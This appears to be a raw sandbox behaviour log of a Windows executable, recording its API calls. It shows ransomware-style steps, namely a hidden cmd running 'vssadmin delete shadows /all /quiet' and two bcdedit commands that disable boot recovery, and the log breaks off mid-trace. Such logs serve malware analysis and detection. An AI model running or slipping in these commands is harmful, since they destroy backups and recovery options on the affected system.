# Flog Txt Version 1 # Analyzer Version: 3.2.1 # Analyzer Build Date: Feb 5 2020 10:35:20 # Log Creation Date: 13.02.2020 02:39:12.788 Process: id = "1" image_name = "nqxxyd.exe" filename = "c:\\users\\fd1hvy\\desktop\\nqxxyd.exe" page_root = "0x176c7000" os_pid = "0x139c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x7d0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\nqxxyd.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x13a0 [0039.712] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0039.713] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76240000 [0041.188] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76390000 [0043.226] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x76950000 [0044.529] GetKeyboardType (nTypeFlag=0) returned 4 [0044.529] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\nqxxyd.exe\" " [0044.529] GetStartupInfoA (in: lpStartupInfo=0x19fd10 | out: lpStartupInfo=0x19fd10*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\nqxxyd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0044.529] GetVersion () returned 0x23f00206 [0044.529] GetVersion () returned 0x23f00206 [0044.529] GetCurrentThreadId () returned 0x13a0 [0044.530] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x414b68, nSize=0x100 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0044.530] GetEnvironmentVariableA (in: lpName="LOCALAPPDATA", lpBuffer=0x414c68, nSize=0x100 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x1d [0044.530] GetEnvironmentVariableA (in: lpName="ProgramFiles", lpBuffer=0x414d68, nSize=0x100 | out: lpBuffer="C:\\Program Files (x86)") returned 0x16 [0044.530] GetEnvironmentVariableA (in: lpName="USERNAME", lpBuffer=0x414e68, nSize=0x100 | out: lpBuffer="FD1HVy") returned 0x6 [0044.530] GetEnvironmentVariableA (in: lpName="USERPROFILE", lpBuffer=0x414f68, nSize=0x100 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0044.530] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x73ef0000 [0044.972] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x74e50000 [0050.043] IsUserAnAdmin () returned 1 [0050.044] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73ed0000 [0050.182] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x74630000 [0051.258] LoadLibraryA (lpLibFileName="winmm.dll") returned 0x73ea0000 [0051.789] LoadLibraryA (lpLibFileName="srclient.dll") returned 0x73e50000 [0053.187] LoadLibraryA (lpLibFileName="url.dll") returned 0x73ca0000 [0056.762] GetProcessHeap () returned 0x630000 [0056.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6c) returned 0x645dd8 [0056.762] GetProcessHeap () returned 0x630000 [0056.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd8) returned 0x649c60 [0056.762] GetProcessHeap () returned 0x630000 [0056.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x643a80 [0056.762] SetErrorMode (uMode=0x8003) returned 0x0 [0056.762] GetProcessHeap () returned 0x630000 [0056.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x22) returned 0x644570 [0056.762] GetLocaleInfoA (in: Locale=0x400, LCType=0x5a, lpLCData=0x19fd7b, cchData=5 | out: lpLCData="US") returned 3 [0056.763] GetProcessHeap () returned 0x630000 [0056.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x650fe0 [0056.763] GetProcessHeap () returned 0x630000 [0056.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x64e598 [0056.763] GetProcessHeap () returned 0x630000 [0056.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x64e520 [0056.763] GetProcessHeap () returned 0x630000 [0056.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x64e408 [0056.763] GetProcessHeap () returned 0x630000 [0056.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x64e340 [0056.763] GetProcessHeap () returned 0x630000 [0056.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x64e228 [0056.763] GetProcessHeap () returned 0x630000 [0056.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x36) returned 0x64a8d0 [0056.763] GetProcessHeap () returned 0x630000 [0056.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x650db8 [0056.763] GetProcessHeap () returned 0x630000 [0056.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x650de8 [0056.763] GetProcessHeap () returned 0x630000 [0056.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x650dd0 [0056.763] GetProcessHeap () returned 0x630000 [0056.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x651250 [0056.763] GetProcessHeap () returned 0x630000 [0056.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x26) returned 0x644660 [0056.763] GetProcessHeap () returned 0x630000 [0056.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x651100 [0056.763] GetProcessHeap () returned 0x630000 [0056.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6511f0 [0056.763] GetProcessHeap () returned 0x630000 [0056.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6510a0 [0056.763] GetProcessHeap () returned 0x630000 [0056.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x651208 [0056.763] GetProcessHeap () returned 0x630000 [0056.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6511c0 [0056.763] GetProcessHeap () returned 0x630000 [0056.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x651370 [0056.764] GetProcessHeap () returned 0x630000 [0056.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x651358 [0056.764] GetProcessHeap () returned 0x630000 [0056.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x651388 [0056.764] GetProcessHeap () returned 0x630000 [0056.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x651148 [0056.764] GetProcessHeap () returned 0x630000 [0056.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x651160 [0056.764] GetProcessHeap () returned 0x630000 [0056.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6512c8 [0056.764] GetProcessHeap () returned 0x630000 [0056.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6511d8 [0056.764] GetProcessHeap () returned 0x630000 [0056.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x651238 [0056.764] GetProcessHeap () returned 0x630000 [0056.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x651178 [0056.764] GetProcessHeap () returned 0x630000 [0056.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x651220 [0056.764] GetProcessHeap () returned 0x630000 [0056.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6511a8 [0056.764] GetProcessHeap () returned 0x630000 [0056.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6510b8 [0056.764] GetProcessHeap () returned 0x630000 [0056.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6510d0 [0056.764] GetProcessHeap () returned 0x630000 [0056.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x651268 [0056.764] GetProcessHeap () returned 0x630000 [0056.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x651280 [0056.764] GetProcessHeap () returned 0x630000 [0056.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x654910 [0056.765] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x654d64, nSize=0x400 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\nqxxyd.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\nqxxyd.exe")) returned 0x22 [0056.765] SysReAllocStringLen (in: pbstr=0x19ff68*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\nqxxyd.exe", len=0x22 | out: pbstr=0x19ff68*="C:\\Users\\FD1HVy\\Desktop\\nqxxyd.exe") returned 1 [0056.765] SysReAllocStringLen (in: pbstr=0x643a84*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\nqxxyd.exe", len=0x22 | out: pbstr=0x643a84*="C:\\Users\\FD1HVy\\Desktop\\nqxxyd.exe") returned 1 [0056.766] SysReAllocStringLen (in: pbstr=0x643a88*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x643a88*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0056.766] SysReAllocStringLen (in: pbstr=0x643a8c*=0x0, psz="nqxxyd.exe", len=0xa | out: pbstr=0x643a8c*="nqxxyd.exe") returned 1 [0056.766] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="nqxxyd.exe", cchWideChar=10, lpMultiByteStr=0x19ed68, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nqxxyd.exe&s\x11", lpUsedDefaultChar=0x0) returned 10 [0056.766] GetProcessHeap () returned 0x630000 [0056.766] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x643ae0 [0056.766] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x643ae8, cbMultiByte=10, lpWideCharStr=0x19ed44, cchWideChar=2047 | out: lpWideCharStr="nqxxyd.exe\n") returned 10 [0056.766] GetProcessHeap () returned 0x630000 [0056.766] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6510e8 [0056.766] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x6510f0, cbMultiByte=6, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr="nqxxyd\x11") returned 6 [0056.766] SysReAllocStringLen (in: pbstr=0x643a90*=0x0, psz="exe", len=0x3 | out: pbstr=0x643a90*="exe") returned 1 [0056.766] GetProcessHeap () returned 0x630000 [0056.766] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x651298 [0056.766] GetProcessHeap () returned 0x630000 [0056.767] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6511c0 | out: hHeap=0x630000) returned 1 [0056.767] Sleep (dwMilliseconds=0x0) [0056.888] InetIsOffline () returned 0x0 [0058.496] IsUserAnAdmin () returned 1 [0058.496] ShellExecuteExW (in: pExecInfo=0x19fd20*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb="open", lpFile="cmd", lpParameters=" /c \"vssadmin.exe delete shadows /all /quiet\"", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x19fd20*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb="open", lpFile="cmd", lpParameters=" /c \"vssadmin.exe delete shadows /all /quiet\"", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x52c)) returned 1 [0063.570] ShellExecuteExW (in: pExecInfo=0x19fd20*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb="open", lpFile="cmd", lpParameters=" /c \"bcdedit.exe /set {default} recoveryenabled no\"", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x19fd20*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb="open", lpFile="cmd", lpParameters=" /c \"bcdedit.exe /set {default} recoveryenabled no\"", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x53c)) returned 1 [0064.669] ShellExecuteExW (in: pExecInfo=0x19fd20*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb="open", lpFile="cmd", lpParameters=" /c \"bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures\"", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x19fd20*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb="open", lpFile="cmd", lpParameters=" /c \"bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures\"", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x540)) returned 1 [0066.736] GetProcessHeap () returned 0x630000 [0066.736] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5c) returned 0x68f2e0 [0066.736] GetProcessHeap () returned 0x630000 [0066.736] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x685f30 [0066.736] GetProcessHeap () returned 0x630000 [0066.736] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692838 [0066.736] GetProcessHeap () returned 0x630000 [0066.736] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x6927f8 [0066.736] GetProcessHeap () returned 0x630000 [0066.736] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xca) returned 0x685f30 [0066.736] GetProcessHeap () returned 0x630000 [0066.736] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.736] GetProcessHeap () returned 0x630000 [0066.736] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x685f30 | out: hHeap=0x630000) returned 1 [0066.736] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x692840, cbMultiByte=9, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr="\\windows\\쀀Ⴠ瘧\x19c") returned 9 [0066.736] GetProcessHeap () returned 0x630000 [0066.736] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x685f30 [0066.736] GetProcessHeap () returned 0x630000 [0066.736] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692498 [0066.736] GetProcessHeap () returned 0x630000 [0066.736] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x692778 [0066.736] GetProcessHeap () returned 0x630000 [0066.736] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xca) returned 0x685f30 [0066.736] GetProcessHeap () returned 0x630000 [0066.736] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692618 [0066.737] GetProcessHeap () returned 0x630000 [0066.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692498 | out: hHeap=0x630000) returned 1 [0066.737] GetProcessHeap () returned 0x630000 [0066.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.737] GetProcessHeap () returned 0x630000 [0066.737] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x692458 [0066.737] GetProcessHeap () returned 0x630000 [0066.737] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xbc) returned 0x685f30 [0066.737] GetProcessHeap () returned 0x630000 [0066.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692458 | out: hHeap=0x630000) returned 1 [0066.737] GetProcessHeap () returned 0x630000 [0066.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x685f30 | out: hHeap=0x630000) returned 1 [0066.737] GetProcessHeap () returned 0x630000 [0066.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.737] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x692620, cbMultiByte=13, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr="\\programdata\\\x19c") returned 13 [0066.737] GetProcessHeap () returned 0x630000 [0066.737] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x685f30 [0066.737] GetProcessHeap () returned 0x630000 [0066.737] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6925f8 [0066.737] GetProcessHeap () returned 0x630000 [0066.737] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x6927f8 [0066.737] GetProcessHeap () returned 0x630000 [0066.737] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xca) returned 0x685f30 [0066.737] GetProcessHeap () returned 0x630000 [0066.737] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692838 [0066.737] GetProcessHeap () returned 0x630000 [0066.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.737] GetProcessHeap () returned 0x630000 [0066.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.737] GetProcessHeap () returned 0x630000 [0066.737] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x6925f8 [0066.737] GetProcessHeap () returned 0x630000 [0066.737] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xbc) returned 0x685f30 [0066.737] GetProcessHeap () returned 0x630000 [0066.737] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.737] GetProcessHeap () returned 0x630000 [0066.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.737] GetProcessHeap () returned 0x630000 [0066.737] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.737] GetProcessHeap () returned 0x630000 [0066.738] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.738] GetProcessHeap () returned 0x630000 [0066.738] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb5) returned 0x685f30 [0066.738] GetProcessHeap () returned 0x630000 [0066.738] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.738] GetProcessHeap () returned 0x630000 [0066.738] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x685f30 | out: hHeap=0x630000) returned 1 [0066.738] GetProcessHeap () returned 0x630000 [0066.738] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.738] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x665108, cbMultiByte=6, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr="nvidiaamdata\\\x19c") returned 6 [0066.738] GetProcessHeap () returned 0x630000 [0066.738] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x685f30 [0066.738] GetProcessHeap () returned 0x630000 [0066.738] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6925f8 [0066.738] GetProcessHeap () returned 0x630000 [0066.738] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x692458 [0066.738] GetProcessHeap () returned 0x630000 [0066.738] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xca) returned 0x685f30 [0066.738] GetProcessHeap () returned 0x630000 [0066.738] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692838 [0066.738] GetProcessHeap () returned 0x630000 [0066.738] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.738] GetProcessHeap () returned 0x630000 [0066.738] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692458 | out: hHeap=0x630000) returned 1 [0066.738] GetProcessHeap () returned 0x630000 [0066.738] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x6925f8 [0066.738] GetProcessHeap () returned 0x630000 [0066.738] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xbc) returned 0x685f30 [0066.738] GetProcessHeap () returned 0x630000 [0066.738] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664f38 [0066.738] GetProcessHeap () returned 0x630000 [0066.738] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.738] GetProcessHeap () returned 0x630000 [0066.738] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.738] GetProcessHeap () returned 0x630000 [0066.738] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.738] GetProcessHeap () returned 0x630000 [0066.738] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb5) returned 0x685f30 [0066.738] GetProcessHeap () returned 0x630000 [0066.738] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.738] GetProcessHeap () returned 0x630000 [0066.738] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.739] GetProcessHeap () returned 0x630000 [0066.739] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.739] GetProcessHeap () returned 0x630000 [0066.739] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664ec0 [0066.739] GetProcessHeap () returned 0x630000 [0066.739] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaf) returned 0x685f30 [0066.739] GetProcessHeap () returned 0x630000 [0066.739] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664ec0 | out: hHeap=0x630000) returned 1 [0066.739] GetProcessHeap () returned 0x630000 [0066.739] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x685f30 | out: hHeap=0x630000) returned 1 [0066.739] GetProcessHeap () returned 0x630000 [0066.739] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.739] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x664e20, cbMultiByte=5, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr="intelaamdata\\\x19c") returned 5 [0066.739] GetProcessHeap () returned 0x630000 [0066.739] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x685f30 [0066.739] GetProcessHeap () returned 0x630000 [0066.739] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692778 [0066.739] GetProcessHeap () returned 0x630000 [0066.739] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x6927f8 [0066.739] GetProcessHeap () returned 0x630000 [0066.739] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xca) returned 0x685f30 [0066.739] GetProcessHeap () returned 0x630000 [0066.739] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6925f8 [0066.739] GetProcessHeap () returned 0x630000 [0066.739] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.739] GetProcessHeap () returned 0x630000 [0066.739] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.739] GetProcessHeap () returned 0x630000 [0066.739] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x6927f8 [0066.739] GetProcessHeap () returned 0x630000 [0066.739] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xbc) returned 0x685f30 [0066.739] GetProcessHeap () returned 0x630000 [0066.739] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664f38 [0066.739] GetProcessHeap () returned 0x630000 [0066.739] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.739] GetProcessHeap () returned 0x630000 [0066.739] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.739] GetProcessHeap () returned 0x630000 [0066.739] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664ec0 [0066.739] GetProcessHeap () returned 0x630000 [0066.740] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb5) returned 0x685f30 [0066.740] GetProcessHeap () returned 0x630000 [0066.740] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f80 [0066.740] GetProcessHeap () returned 0x630000 [0066.740] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.740] GetProcessHeap () returned 0x630000 [0066.740] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664ec0 | out: hHeap=0x630000) returned 1 [0066.740] GetProcessHeap () returned 0x630000 [0066.740] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.740] GetProcessHeap () returned 0x630000 [0066.740] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaf) returned 0x685f30 [0066.740] GetProcessHeap () returned 0x630000 [0066.740] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665058 [0066.740] GetProcessHeap () returned 0x630000 [0066.740] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f80 | out: hHeap=0x630000) returned 1 [0066.740] GetProcessHeap () returned 0x630000 [0066.740] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.740] GetProcessHeap () returned 0x630000 [0066.740] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.740] GetProcessHeap () returned 0x630000 [0066.740] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaa) returned 0x685f30 [0066.740] GetProcessHeap () returned 0x630000 [0066.740] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.740] GetProcessHeap () returned 0x630000 [0066.740] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x685f30 | out: hHeap=0x630000) returned 1 [0066.740] GetProcessHeap () returned 0x630000 [0066.740] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.740] 